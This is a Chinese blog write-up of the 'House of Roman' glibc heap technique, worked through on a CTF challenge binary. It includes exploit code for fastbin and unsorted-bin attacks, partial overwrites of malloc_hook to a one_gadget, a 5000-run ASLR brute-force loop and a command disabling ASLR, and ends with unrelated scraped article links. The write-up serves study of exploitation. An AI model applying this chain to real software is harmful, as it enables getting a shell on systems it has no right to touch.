前言

这是前几天国外一个 老哥 提出的一种思路 ,学习了一下感觉其中的堆布局的手法还不错,做个分享与记录。

这种利用手法的主要特点是不需要 leak libc的地址,通过 堆内存的布局 和 堆相关的漏洞(uaf 等) 就可以 getshell。下面一个示例的题目为例介绍一下

相关文件位于

http://t.cn/Ru0eX62

漏洞分析

查看开启的保护措施

04:44 haclh@ubuntu:house_of_roman $ checksec ./new_chall
[*] '/home/haclh/workplace/house_of_roman/new_chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

开了 pie .

程序主要就三个功能

  • Malloc , 用户输入 size, 然后 malloc(size) , 大小不限
  • Write, 往指定 heap_ptr 写入 size+1 字节数据,一字节溢出
  • Free, 调用 free 释放掉 heap_ptr ,不过没有清零,double freeuafWrite 时只是校验 指针是否为 0).

漏洞利用

思路

因为没有 leak 的机会,同时还还有 aslr , 因为 aslr 随机化的 比特数是有限的, 低 12bit 的随机化程度还是比较小,这就给了爆破的机会。

House of Roman 的一个核心思路就是利用 局部写 减少随机化的程度,从而给出爆破的可能

程序开了 pie ,一般的思路就是 写 malloc_hook 或者其他的一些 hook, 然后触发 mallocgetshell

其中如果是 64 位程序,通过malloc_printerr 触发 malloc ,基本可以稳定 getshell

总的一个利用步骤如下 (chunk 指的是 malloc 源码中的 chunk ,包含元数据)

  • 首先分配 3chunk (A , B, C) ,大小分别为 0x20, 0xd0, 0x70
  • B + 0x78 处设置 p64(0x61) , 作用是 fake size ,用于后面 的 fastbin attack
  • 释放掉 B , B 进入 unsorted bin , 此时 B+0x10B+0x18 中有 main_arean 的地址
  • 再次分配 0xd0 , 会分配到 B, 此时 B+0x10B+0x18main_arean 的地址依然存在
  • 然后分配 30x70chunk (D , E, F), 为后续做准备
  • A 触发 单字节溢出,修改 B->size = 0x71 . 然后释放 C , D, 此时 C , D 进入 fastbin , 同时 D->fd = C. 由于 chunk之间的相对偏移固定,于是利用 uaf 修改 D->fd 的低 字节 ,使得 D->fd=B
  • 此时 B->size = 0x71 ,同时 B + 0x78p64(0x61) (第2步设置), 这就成功伪造了一个 0x70 大小的 fastbin。 此时 B->fdmain_arean 的地址,于是通过 修改 低 2个字节,可以修改到 malloc_hook - 0x23 处 ( malloc_hook - 0x23 + 0x8 处的值为 p64(0x7f) )
  • 然后分配 30x70chunk, 就可以拿到包含 malloc_hookchunk, 此时 malloc_hook 内容为 0
  • 然后利用 unsorted bin 修改 malloc_hook 内容为 main_arean 的地址
  • 利用部分写修改 malloc_hookone_gadget
  • 多次释放一个指针,触发 double free 异常,进而触发 malloc_printerrgetshell

下面根据 exp 具体看看。

exp分析

分配 3chunk ,在 B + 0x78 处设置 p64(0x61) , 作用是 fake size ,用于后面 的 fastbin attack

create(0x18,0) # 0x20
create(0xc8,1) # d0
create(0x65,2) # 0x70 info("create 2 chunk, 0x20, 0xd8")
fake = "A"*0x68
fake += p64(0x61) ## fake size
edit(1,fake)
info("fake")

释放掉 B , 然后分配同样大小再次分配到 B , 此时 B+0x10B+0x18 中有 main_arean 的地址。分配 3fastbin ,利用 off by one 修改 B->size = 0x71

free(1)
create(0xc8,1) create(0x65,3) # b
create(0x65,15)
create(0x65,18) over = "A"*0x18 # off by one
over += "\x71" # set chunk 1's size --> 0x71
edit(0,over)
info("利用 off by one , chunk 1's size --> 0x71")

生成两个 fastbin ,然后利用 uaf ,部分地址写,把 B 链入到 fastbin

free(2)
free(3)
info("创建两个 0x70 的 fastbin")
heap_po = "\x20"
edit(3,heap_po)
info("把 chunk'1 链入到 fastbin 里面")

调试看看此时 fastbin 的状态

pwndbg> fastbins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x555555757160 —▸ 0x555555757020 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x7ffff7dd1b78
0x80: 0x0

0x555555757020 就是 chunk B

然后通过修改 B->fd 的低 2 字节, 使得 B->fd= malloc_hook - 0x23

# malloc_hook 上方
malloc_hook_nearly = "\xed\x1a"
edit(1,malloc_hook_nearly)
info("部分写,修改 fastbin->fd ---> malloc_hook")

然后分配 30x70chunk ,就可以拿到 malloc_hook 所在的那个 chunk .

create(0x65,0)
create(0x65,0)
create(0x65,0)
info("0 拿到了 malloc_hook")

然后 freeE ,进入 fastbin ,利用 uaf 设置 E->fd = 0 , 修复了 fastbin (好思路)

free(15)
edit(15,p64(0x00))
info("再次生成 0x71 的 fastbin, 同时修改 fd =0, 修复 fastbin")

然后是 unsorted bin 攻击,使得 malloc_hook 的值为 main_arena+88

create(0xc8,1)
create(0xc8,1)
create(0x18,2)
create(0xc8,3)
create(0xc8,4)
free(1)
po = "B"*8
po += "\x00\x1b"
edit(1,po)
create(0xc8,1)
info("unsorted bin 使得 malloc_hook 有 libc 的地址")

利用 修改 malloc_hook 的低三个字节 ,使得 malloc_hookone_gadget 的地址

over = "R"*0x13   # padding for malloc_hook
over += "\xa4\xd2\xaf"
edit(0,over) info("malloc_hook to one_gadget")

然后 free 两次同一个 chunk ,触发 malloc_printerrgetshell

free(18)
free(18)

上面的偏移为一次调试所得,开启 aslr 后,需要跑很多次 (碰运气, 写个脚本重复执行

#!/bin/bash
for i in `seq 1 5000`; do python final.py; done;

跑啊跑就出 shell

总结

总的思路就是 部分地址写 + 爆破 绕过 aslr . 其中的有趣的部分是堆布局,利用 off by one 伪造 fastbin 链 , 利用 unsorted bin attack 设置 libc 的地址的部分。

调试 pie 程序,关了 aslr 方便调试

echo 0 > /proc/sys/kernel/randomize_va_space

参考

https://gist.github.com/romanking98/9aab2804832c0fb46615f025e8ffb0bc
https://github.com/romanking98/House-Of-Roman

House of Roman 实战的更多相关文章

  1. [实战]MVC5+EF6+MySql企业网盘实战(2)——验证码

    写在前面 断断续续,今天算是把验证码的东东弄出来了. 系列文章 [EF]vs15+ef6+mysql code first方式 [实战]MVC5+EF6+MySql企业网盘实战(1) [实战]MVC5 ...

  2. webpack4入门到进阶案例实战课程

    愿景:"让编程不在难学,让技术与生活更加有趣" 更多教程请访问xdclass.net 第一章 webpack4前言 第一集 webpack4入门到进阶案例实战课程介绍 简介:讲述w ...

  3. SSH实战 · 唯唯乐购项目(上)

    前台需求分析 一:用户模块 注册 前台JS校验 使用AJAX完成对用户名(邮箱)的异步校验 后台Struts2校验 验证码 发送激活邮件 将用户信息存入到数据库 激活 点击激活邮件中的链接完成激活 根 ...

  4. GitHub实战系列汇总篇

    基础: 1.GitHub实战系列~1.环境部署+创建第一个文件 2015-12-9 http://www.cnblogs.com/dunitian/p/5034624.html 2.GitHub实战系 ...

  5. MySQL 系列(四)主从复制、备份恢复方案生产环境实战

    第一篇:MySQL 系列(一) 生产标准线上环境安装配置案例及棘手问题解决 第二篇:MySQL 系列(二) 你不知道的数据库操作 第三篇:MySQL 系列(三)你不知道的 视图.触发器.存储过程.函数 ...

  6. Asp.Net Core 项目实战之权限管理系统(4) 依赖注入、仓储、服务的多项目分层实现

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  7. 给缺少Python项目实战经验的人

    我们在学习过程中最容易犯的一个错误就是:看的多动手的少,特别是对于一些项目的开发学习就更少了! 没有一个完整的项目开发过程,是不会对整个开发流程以及理论知识有牢固的认知的,对于怎样将所学的理论知识应用 ...

  8. asp.net core 实战之 redis 负载均衡和"高可用"实现

    1.概述 分布式系统缓存已经变得不可或缺,本文主要阐述如何实现redis主从复制集群的负载均衡,以及 redis的"高可用"实现, 呵呵双引号的"高可用"并不是 ...

  9. Linux实战教学笔记08:Linux 文件的属性(上半部分)

    第八节 Linux 文件的属性(上半部分) 标签(空格分隔):Linux实战教学笔记 第1章 Linux中的文件 1.1 文件属性概述(ls -lhi) linux里一切皆文件 Linux系统中的文件 ...

随机推荐

  1. h5在线1v1客服|web在线客服系统|h5即时聊天

    网上有很多环信.美恰之类的客服系统,最近也使用h5+css3+fontJs+swiper+wcPop等技术架构开发了一个在线客服(1v1沟通聊天),可以应用到在线临时聊天.在线咨询等情景.实现了消息. ...

  2. 搜索类网站记录 && 代理服务器

    搜索类网站记录 && 代理服务器 技巧 1.使用site   我们在搜索的时候,其实不全依赖搜索引擎也是可以的, 比如我们要搜索一个 “中国” ,可以在搜索框输入   中国  site ...

  3. python中map()函数

    map()是 Python 内置的高阶函数,它接收一个函数 f 和一个 list,并通过把函数 f 依次作用在 list 的每个元素上,得到一个新的 list 并返回. map()是 Python 内 ...

  4. windows本地调试安装hadoop(idea) : ERROR util.Shell: Failed to locate the winutils binary in the hadoop binary path

    1,本地安装hadoop https://mirrors.tuna.tsinghua.edu.cn/apache/hadoop/common/ 下载hadoop对应版本 (我本意是想下载hadoop ...

  5. 搭建安卓开发环境 hello world andriod

    万事开头能嘛.先要搭建开发环境,主要用到java,会java的同学福音啊. 一 相关下载 1.Jdk.(java的开发环境).  http://www.oracle.com/technetwork/j ...

  6. js便签笔记(2)——DOM元素的特性(Attribute)和属性(Property)

    1.介绍: 上篇js便签笔记http://www.cnblogs.com/wangfupeng1988/p/3626300.html最后提到了dom元素的Attribute和Property,本文简单 ...

  7. 13-hadoop-入门程序

    通过之前的操作, http://www.cnblogs.com/wenbronk/p/6636926.html http://www.cnblogs.com/wenbronk/p/6659481.ht ...

  8. 代码查看php是否已开启rewrite功能模块

    通过php代码来查询,是否把rewrite模块打开了 <?php $result = apache_get_modules(); if(in_array('mod_rewrite', $resu ...

  9. BI实战派:医疗BI项目落地方案

    任何BI项目面临的两大难题是项目价值和基础数据,BI项目应该给企业带来管理优化.业绩增长.医院面临的两大难题,一:绩效管理(奖金分配):二:医患关系:在医院开始自负盈亏时日常基本运营管理显得非常重要. ...

  10. jsp页面查询的数据导出到excel

    java导入导出excel操作(jxl) jxl.jar 包下载地址:http://www.andykhan.com/jexcelapi/真实下载地址:http://www.andykhan.com/ ...